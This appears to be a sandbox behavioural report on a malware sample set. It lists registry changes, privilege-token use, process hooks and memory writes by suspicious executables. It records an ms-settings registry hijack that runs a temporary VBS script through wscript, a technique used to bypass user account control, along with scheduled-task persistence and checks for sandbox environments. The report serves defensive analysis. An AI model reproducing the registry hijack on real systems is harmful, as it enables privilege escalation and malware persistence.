Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Checks processor information in registry 2 TTPs 15 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

firefox.exeTPB-1.exefirefox.exeEXCEL.EXEGTA_V.tmp

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	TPB-1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	GTA_V.tmp
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	TPB-1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	GTA_V.tmp
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe

Enumerates system info in registry 2 TTPs 12 IoCs

Query Registry

System Information Discovery

Processes:

chrome.exemsedge.exechrome.exeEXCEL.EXE

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Modifies data under HKEY_USERS 3 IoCs

Processes:

msiexec.exe

description	ioc	Process
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\26\52C64B7E	msiexec.exe

Modifies registry class 64 IoCs

Processes:

msiexec.exereg.exereg.exereg.exereg.exe7zFM.exereg.exeSystem.exereg.exereg.exepornhub_downloader.exefirefox.exereg.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\c1c4f01781cc94c4c8fb1542c0981a2a\Assignment = "1"	msiexec.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\ms-settings\Shell\Open	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\ms-settings\Shell	reg.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Win32Assemblies\Global\Microsoft.VC80.MFC,type="win32",version="8.0.50727.6195",publicKeyToken="1fc8b3b9a1e18e3b",processorArchitecture="x86" = 67006700610044004c004d004e002c00540040003f004400350062002e0057004b0075003d005d00560043005f005200650064006900730074003e0021004d00210026005a005a006300300025006e00650038004d006b0062004900640046007700550000000000	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Win32Assemblies\Global\policy.8.0.Microsoft.VC80.OpenMP,type="win32-policy",version="8.0.50727.6195",publicKeyToken="1fc8b3b9a1e18e3b",processorArchitecture="x86" = 67006700610044004c004d004e002c00540040003f004400350062002e0057004b0075003d005d00560043005f005200650064006900730074003e00370030002d0054002400210028002a0026004e00650038004d006b0062004900640046007700550000000000	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\c1c4f01781cc94c4c8fb1542c0981a2a\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\c1c4f01781cc94c4c8fb1542c0981a2a\SourceList\Media\1 = ";Microsoft Visual C++ 2005 Redistributable [Disk 1]"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\ms-settings\Shell	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\ms-settings\Shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	7zFM.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\AA5D9C68C00F12943B2F6CA09FE28244\c1c4f01781cc94c4c8fb1542c0981a2a	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Win32Assemblies\Global\Microsoft.VC80.OpenMP,type="win32",version="8.0.50727.6195",publicKeyToken="1fc8b3b9a1e18e3b",processorArchitecture="x86" = 67006700610044004c004d004e002c00540040003f004400350062002e0057004b0075003d005d00560043005f005200650064006900730074003e0035006f00300068002c0070004d0076004e003d00650038004d006b0062004900640046007700550000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	System.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\ms-settings\Shell\Open\command\ = "wscript.exe C:\\Users\\Admin\\AppData\\Local\\Temp\\1960.vbs"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\c1c4f01781cc94c4c8fb1542c0981a2a	msiexec.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\ms-settings\Shell\Open	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\ms-settings	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\c1c4f01781cc94c4c8fb1542c0981a2a\Language = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\c1c4f01781cc94c4c8fb1542c0981a2a\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\c1c4f01781cc94c4c8fb1542c0981a2a\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\c1c4f01781cc94c4c8fb1542c0981a2a\SourceList\Media\3 = ";Microsoft Visual C++ 2005 Redistributable [Disk 1]"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	pornhub_downloader.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\ms-settings\Shell\Open\command\ = "wscript.exe C:\\Users\\Admin\\AppData\\Local\\Temp\\5536.vbs"	reg.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Win32Assemblies\Global\policy.8.0.Microsoft.VC80.ATL,type="win32-policy",version="8.0.50727.6195",publicKeyToken="1fc8b3b9a1e18e3b",processorArchitecture="x86" = 67006700610044004c004d004e002c00540040003f004400350062002e0057004b0075003d005d00560043005f005200650064006900730074003e0036006b007d00700048004c004800240053004400650038004d006b0062004900640046007700550000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\c1c4f01781cc94c4c8fb1542c0981a2a	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\c1c4f01781cc94c4c8fb1542c0981a2a\SourceList\Media\11 = ";Microsoft Visual C++ 2005 Redistributable [Disk 1]"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\c1c4f01781cc94c4c8fb1542c0981a2a\ProductName = "Microsoft Visual C++ 2005 Redistributable"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\AA5D9C68C00F12943B2F6CA09FE28244	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\c1c4f01781cc94c4c8fb1542c0981a2a\SourceList\PackageName = "vcredist.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\c1c4f01781cc94c4c8fb1542c0981a2a\SourceList\Media\7 = ";Microsoft Visual C++ 2005 Redistributable [Disk 1]"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\ms-settings\Shell\Open	reg.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Win32Assemblies\Global\policy.8.0.Microsoft.VC80.MFCLOC,type="win32-policy",version="8.0.50727.6195",publicKeyToken="1fc8b3b9a1e18e3b",processorArchitecture="x86" = 67006700610044004c004d004e002c00540040003f004400350062002e0057004b0075003d005d00560043005f005200650064006900730074003e006600720038005f006c0028006d0032004e004400650038004d006b0062004900640046007700550000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\c1c4f01781cc94c4c8fb1542c0981a2a\SourceList\Media\DiskPrompt = "[1]"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\c1c4f01781cc94c4c8fb1542c0981a2a\SourceList\Media\9 = ";Microsoft Visual C++ 2005 Redistributable [Disk 1]"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\c1c4f01781cc94c4c8fb1542c0981a2a\SourceList\Media\2 = ";Microsoft Visual C++ 2005 Redistributable [Disk 1]"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\c1c4f01781cc94c4c8fb1542c0981a2a\SourceList\Media\6 = ";Microsoft Visual C++ 2005 Redistributable [Disk 1]"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\c1c4f01781cc94c4c8fb1542c0981a2a\SourceList\Media\8 = ";Microsoft Visual C++ 2005 Redistributable [Disk 1]"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\ms-settings\Shell\Open\command\ = "wscript.exe C:\\Users\\Admin\\AppData\\Local\\Temp\\5024.vbs"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\ms-settings\Shell	reg.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Win32Assemblies\Global\policy.8.0.Microsoft.VC80.MFC,type="win32-policy",version="8.0.50727.6195",publicKeyToken="1fc8b3b9a1e18e3b",processorArchitecture="x86" = 67006700610044004c004d004e002c00540040003f004400350062002e0057004b0075003d005d00560043005f005200650064006900730074003e003d0024006b00600049004e005d00490038004300650038004d006b0062004900640046007700550000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\c1c4f01781cc94c4c8fb1542c0981a2a\VC_Redist	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\c1c4f01781cc94c4c8fb1542c0981a2a\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\c1c4f01781cc94c4c8fb1542c0981a2a\SourceList\Media\4 = ";Microsoft Visual C++ 2005 Redistributable [Disk 1]"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\ms-settings\Shell\Open	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\ms-settings	reg.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Win32Assemblies\Global\Microsoft.VC80.ATL,type="win32",version="8.0.50727.6195",publicKeyToken="1fc8b3b9a1e18e3b",processorArchitecture="x86" = 67006700610044004c004d004e002c00540040003f004400350062002e0057004b0075003d005d00560043005f005200650064006900730074003e00700052005e007000580049006000510075006f00650038004d006b0062004900640046007700550000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\c1c4f01781cc94c4c8fb1542c0981a2a\Servicing_Key	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\c1c4f01781cc94c4c8fb1542c0981a2a\Version = "134278729"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\c1c4f01781cc94c4c8fb1542c0981a2a\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\ms-settings	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\ms-settings\Shell\Open	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\c1c4f01781cc94c4c8fb1542c0981a2a\PackageCode = "84067013B7B56744BA0F51892982BC09"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\c1c4f01781cc94c4c8fb1542c0981a2a\SourceList\Net	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\c1c4f01781cc94c4c8fb1542c0981a2a\Clients = 3a0000000000	msiexec.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\ms-settings\Shell	reg.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

Processes:

schtasks.exe

pid	Process
6436	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

InstallUtil.exeEXCEL.EXE

pid	Process
7620	InstallUtil.exe
7656	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

chrome.exepowershell.exemsedge.exemsedge.exetaskmgr.exeidentity_helper.exegetlab.tmprstxdhuj.exepowershell.exepowershell.exe

pid	Process
2848	chrome.exe
2848	chrome.exe
5124	powershell.exe
5124	powershell.exe
5124	powershell.exe
824	msedge.exe
824	msedge.exe
4496	msedge.exe
4496	msedge.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
6852	identity_helper.exe
6852	identity_helper.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
5392	getlab.tmp
5392	getlab.tmp
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
6508	rstxdhuj.exe
6508	rstxdhuj.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
4684	taskmgr.exe
7792	powershell.exe
7792	powershell.exe
7792	powershell.exe
4684	taskmgr.exe
4684	taskmgr.exe
8116	powershell.exe
8116	powershell.exe
8116	powershell.exe
4684	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

Processes:

7zFM.exetaskmgr.exe

pid	Process
2120	7zFM.exe
4684	taskmgr.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs

Processes:

chrome.exemsedge.exechrome.exe

pid	Process
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
4496	msedge.exe
4496	msedge.exe
4496	msedge.exe
2484	chrome.exe
2484	chrome.exe
2484	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

7zFM.exechrome.exefirefox.exeNew Text Document mod.exe4363463463464363463463463.exepowershell.exetaskmgr.exerstxdhuj.exeInstallUtil.exepowershell.exepowershell.exeNew Text Document mod.exeWinsvc.exegvndxfghs.exe4363463463464363463463463.exechrome.exexblkpfZ8Y4.exe._cache_System.exegvndxfghs.exe._cache_Synaptics.exeInstallUtil.exemsiexec.exemsiexec.exepowershell.exe

description	pid	Process
Token: SeRestorePrivilege	2120	7zFM.exe
Token: 35	2120	7zFM.exe
Token: SeShutdownPrivilege	2848	chrome.exe
Token: SeCreatePagefilePrivilege	2848	chrome.exe
Token: SeShutdownPrivilege	2848	chrome.exe
Token: SeCreatePagefilePrivilege	2848	chrome.exe
Token: SeDebugPrivilege	852	firefox.exe
Token: SeDebugPrivilege	852	firefox.exe
Token: SeSecurityPrivilege	2120	7zFM.exe
Token: SeDebugPrivilege	3288	New Text Document mod.exe
Token: SeDebugPrivilege	2876	4363463463464363463463463.exe
Token: SeDebugPrivilege	5124	powershell.exe
Token: SeDebugPrivilege	4684	taskmgr.exe
Token: SeSystemProfilePrivilege	4684	taskmgr.exe
Token: SeCreateGlobalPrivilege	4684	taskmgr.exe
Token: SeDebugPrivilege	6508	rstxdhuj.exe
Token: SeDebugPrivilege	6508	rstxdhuj.exe
Token: SeDebugPrivilege	7620	InstallUtil.exe
Token: SeDebugPrivilege	7792	powershell.exe
Token: SeDebugPrivilege	8116	powershell.exe
Token: SeDebugPrivilege	852	firefox.exe
Token: SeDebugPrivilege	852	firefox.exe
Token: SeDebugPrivilege	852	firefox.exe
Token: SeDebugPrivilege	7620	InstallUtil.exe
Token: SeDebugPrivilege	2364	New Text Document mod.exe
Token: SeDebugPrivilege	6140	Winsvc.exe
Token: SeDebugPrivilege	6324	gvndxfghs.exe
Token: SeDebugPrivilege	1008	4363463463464363463463463.exe
Token: SeShutdownPrivilege	2484	chrome.exe
Token: SeCreatePagefilePrivilege	2484	chrome.exe
Token: SeShutdownPrivilege	2484	chrome.exe
Token: SeCreatePagefilePrivilege	2484	chrome.exe
Token: SeLockMemoryPrivilege	5868	xblkpfZ8Y4.exe
Token: SeLockMemoryPrivilege	5868	xblkpfZ8Y4.exe
Token: SeShutdownPrivilege	2484	chrome.exe
Token: SeCreatePagefilePrivilege	2484	chrome.exe
Token: SeShutdownPrivilege	2484	chrome.exe
Token: SeCreatePagefilePrivilege	2484	chrome.exe
Token: SeShutdownPrivilege	2484	chrome.exe
Token: SeCreatePagefilePrivilege	2484	chrome.exe
Token: SeDebugPrivilege	6140	Winsvc.exe
Token: SeShutdownPrivilege	2484	chrome.exe
Token: SeCreatePagefilePrivilege	2484	chrome.exe
Token: SeShutdownPrivilege	2484	chrome.exe
Token: SeCreatePagefilePrivilege	2484	chrome.exe
Token: SeShutdownPrivilege	2484	chrome.exe
Token: SeCreatePagefilePrivilege	2484	chrome.exe
Token: SeShutdownPrivilege	2484	chrome.exe
Token: SeCreatePagefilePrivilege	2484	chrome.exe
Token: SeShutdownPrivilege	2484	chrome.exe
Token: SeCreatePagefilePrivilege	2484	chrome.exe
Token: SeShutdownPrivilege	2484	chrome.exe
Token: SeCreatePagefilePrivilege	2484	chrome.exe
Token: SeDebugPrivilege	9564	._cache_System.exe
Token: SeDebugPrivilege	8032	gvndxfghs.exe
Token: SeDebugPrivilege	9676	._cache_Synaptics.exe
Token: SeDebugPrivilege	5228	InstallUtil.exe
Token: SeShutdownPrivilege	7972	msiexec.exe
Token: SeIncreaseQuotaPrivilege	7972	msiexec.exe
Token: SeSecurityPrivilege	8204	msiexec.exe
Token: SeDebugPrivilege	5724	powershell.exe
Token: SeCreateTokenPrivilege	7972	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	7972	msiexec.exe
Token: SeLockMemoryPrivilege	7972	msiexec.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

7zFM.exechrome.exefirefox.exemsedge.exe

pid	Process
2120	7zFM.exe
2120	7zFM.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
2120	7zFM.exe
4496	msedge.exe
4496	msedge.exe
4496	msedge.exe
4496	msedge.exe
4496	msedge.exe
4496	msedge.exe
4496	msedge.exe
4496	msedge.exe
4496	msedge.exe
4496	msedge.exe
4496	msedge.exe
4496	msedge.exe
4496	msedge.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

chrome.exefirefox.exemsedge.exe

pid	Process
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
2848	chrome.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
4496	msedge.exe
4496	msedge.exe
4496	msedge.exe
4496	msedge.exe
4496	msedge.exe
4496	msedge.exe
4496	msedge.exe
4496	msedge.exe
4496	msedge.exe
4496	msedge.exe
4496	msedge.exe
4496	msedge.exe
4496	msedge.exe
4496	msedge.exe
4496	msedge.exe
4496	msedge.exe
4496	msedge.exe
4496	msedge.exe
4496	msedge.exe
4496	msedge.exe

Suspicious use of SetWindowsHookEx 31 IoCs

Processes:

firefox.exepornhub_downloader.exegetlab.exegetlab.tmpexbuild.exeberryplayer32.exeHkbsse.exeInstallUtil.exeSystem.exeSynaptics.exetik-tok-1.0.5.0-installer_iPXA-F1.exeGTA_V.exeGTA_V.tmpvcredist_x86.exeEXCEL.EXE._cache_System.exe

pid	Process
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
852	firefox.exe
2100	pornhub_downloader.exe
7020	getlab.exe
5392	getlab.tmp
7096	exbuild.exe
6172	berryplayer32.exe
6384	Hkbsse.exe
7620	InstallUtil.exe
6892	System.exe
7224	Synaptics.exe
8800	tik-tok-1.0.5.0-installer_iPXA-F1.exe
8800	tik-tok-1.0.5.0-installer_iPXA-F1.exe
5096	GTA_V.exe
10100	GTA_V.tmp
7164	vcredist_x86.exe
7656	EXCEL.EXE
7656	EXCEL.EXE
7656	EXCEL.EXE
7656	EXCEL.EXE
7656	EXCEL.EXE
7656	EXCEL.EXE
7656	EXCEL.EXE
7656	EXCEL.EXE
7656	EXCEL.EXE
9564	._cache_System.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

chrome.exe

description	pid	Process	procid_target
PID 2848 wrote to memory of 4256	2848	chrome.exe	98
PID 2848 wrote to memory of 4256	2848	chrome.exe	98
PID 2848 wrote to memory of 1752	2848	chrome.exe	99
PID 2848 wrote to memory of 1752	2848	chrome.exe	99
PID 2848 wrote to memory of 1752	2848	chrome.exe	99
PID 2848 wrote to memory of 1752	2848	chrome.exe	99
PID 2848 wrote to memory of 1752	2848	chrome.exe	99
PID 2848 wrote to memory of 1752	2848	chrome.exe	99
PID 2848 wrote to memory of 1752	2848	chrome.exe	99
PID 2848 wrote to memory of 1752	2848	chrome.exe	99
PID 2848 wrote to memory of 1752	2848	chrome.exe	99
PID 2848 wrote to memory of 1752	2848	chrome.exe	99
PID 2848 wrote to memory of 1752	2848	chrome.exe	99
PID 2848 wrote to memory of 1752	2848	chrome.exe	99
PID 2848 wrote to memory of 1752	2848	chrome.exe	99
PID 2848 wrote to memory of 1752	2848	chrome.exe	99
PID 2848 wrote to memory of 1752	2848	chrome.exe	99
PID 2848 wrote to memory of 1752	2848	chrome.exe	99
PID 2848 wrote to memory of 1752	2848	chrome.exe	99
PID 2848 wrote to memory of 1752	2848	chrome.exe	99
PID 2848 wrote to memory of 1752	2848	chrome.exe	99
PID 2848 wrote to memory of 1752	2848	chrome.exe	99
PID 2848 wrote to memory of 1752	2848	chrome.exe	99
PID 2848 wrote to memory of 1752	2848	chrome.exe	99
PID 2848 wrote to memory of 1752	2848	chrome.exe	99
PID 2848 wrote to memory of 1752	2848	chrome.exe	99
PID 2848 wrote to memory of 1752	2848	chrome.exe	99
PID 2848 wrote to memory of 1752	2848	chrome.exe	99
PID 2848 wrote to memory of 1752	2848	chrome.exe	99
PID 2848 wrote to memory of 1752	2848	chrome.exe	99
PID 2848 wrote to memory of 1752	2848	chrome.exe	99
PID 2848 wrote to memory of 1752	2848	chrome.exe	99
PID 2848 wrote to memory of 640	2848	chrome.exe	100
PID 2848 wrote to memory of 640	2848	chrome.exe	100
PID 2848 wrote to memory of 2896	2848	chrome.exe	101
PID 2848 wrote to memory of 2896	2848	chrome.exe	101
PID 2848 wrote to memory of 2896	2848	chrome.exe	101
PID 2848 wrote to memory of 2896	2848	chrome.exe	101
PID 2848 wrote to memory of 2896	2848	chrome.exe	101
PID 2848 wrote to memory of 2896	2848	chrome.exe	101
PID 2848 wrote to memory of 2896	2848	chrome.exe	101
PID 2848 wrote to memory of 2896	2848	chrome.exe	101
